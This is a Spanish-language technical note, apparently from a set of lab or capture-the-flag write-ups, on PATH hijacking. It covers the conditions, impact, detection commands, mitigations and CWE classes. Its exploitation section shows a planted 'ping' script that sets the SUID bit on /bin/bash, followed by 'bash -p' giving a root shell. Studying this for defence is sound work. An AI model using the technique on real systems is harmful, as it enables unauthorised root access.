1. Descripción técnica
PATH Hijacking (o PATH injection) es una técnica de escalada de privilegios que abusa de programas o scripts que invocan otros binarios usando su nombre relativo (por ejemplo ping, tar, service) en lugar de su ruta absoluta (/usr/bin/ping).
Cuando un comando se invoca por su nombre, el sistema lo busca recorriendo los directorios listados en la variable de entorno PATH, de izquierda a derecha, y ejecuta la primera coincidencia. Si un atacante puede:
- Colocar un binario/script malicioso con el mismo nombre en un directorio que esté antes en el
PATH, o - Anteponer un directorio que controla al
PATH,
entonces el proceso privilegiado ejecutará el binario del atacante en lugar del legítimo, heredando sus privilegios (típicamente root).
Es especialmente peligroso cuando el comando vulnerable lo ejecuta root (a través de un cronjob, un binario SUID o un comando sudo).
2. Impacto de la vulnerabilidad
- Escalada de privilegios a root cuando el proceso vulnerable corre con privilegios elevados.
- Ejecución de código arbitrario en el contexto del proceso secuestrado.
- Suele combinarse con cronjobs de root o binarios SUID para lograr persistencia o una shell privilegiada.
3. Condiciones necesarias
- Un proceso privilegiado que invoca binarios por nombre relativo, no por ruta absoluta.
- Que el atacante tenga escritura en algún directorio incluido en el
PATHdel proceso (o capacidad de modificar elPATH). - Que ese directorio escribible aparezca antes que el directorio del binario legítimo.
4. Validación y detección
- Inspeccionar cronjobs y scripts de root buscando comandos sin ruta absoluta:
cat /etc/crontab
ls -la /etc/cron.*- Comprobar el
PATHconfigurado y los permisos de cada directorio que lo compone:
echo $PATH
cat /etc/crontab # ¿incluye un directorio escribible como /var/www/html antes de /usr/bin?- Herramientas como pspy ayudan a observar procesos de root que lanzan binarios por nombre relativo:
./pspy645. Mitigación
- Usar siempre rutas absolutas al invocar binarios desde scripts, cronjobs y servicios privilegiados.
- Definir un
PATHseguro y mínimo dentro de los scripts (PATH=/usr/sbin:/usr/bin:/sbin:/bin). - No incluir directorios escribibles (ni
.) en elPATHde cuentas privilegiadas. - Restringir los permisos de escritura sobre los directorios del
PATH.
6. Explotación documentada
En 20-first, un cronjob de root ejecuta ping por nombre relativo y /var/www/html aparece antes que /usr/bin en el PATH:
# /etc/crontab
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/var/www/html:/bin:/usr/sbin:/usr/bin
* * * * * root ping -c1 raspberrypi.comColocamos un ping malicioso que asigna el bit SUID a Bash:
$ cat /var/www/html/ping
#!/bin/bash
chmod u+s /bin/bash
$ chmod +x /var/www/html/ping
# tras un minuto:
$ bash -p
bash-5.1# whoami
rootEl mismo mecanismo aparece en cronjobs de 053-hannah y 055-crazymed, binarios SUID de 023-nebula, 098-driftingblues-03, 05-darkhole_1 y 23-dragon-ball, y reglas sudo que permiten conservar o controlar el entorno en 034-w140, 142-sysadmin y 02-mercury. En todos los casos deben coincidir la llamada sin ruta absoluta, una ruta de búsqueda controlable y un contexto con privilegios útiles.
7. Clasificación
- Tipo: Privilege Escalation / Untrusted Search Path
- CWE:
- CWE-426: Untrusted Search Path
- CWE-427: Uncontrolled Search Path Element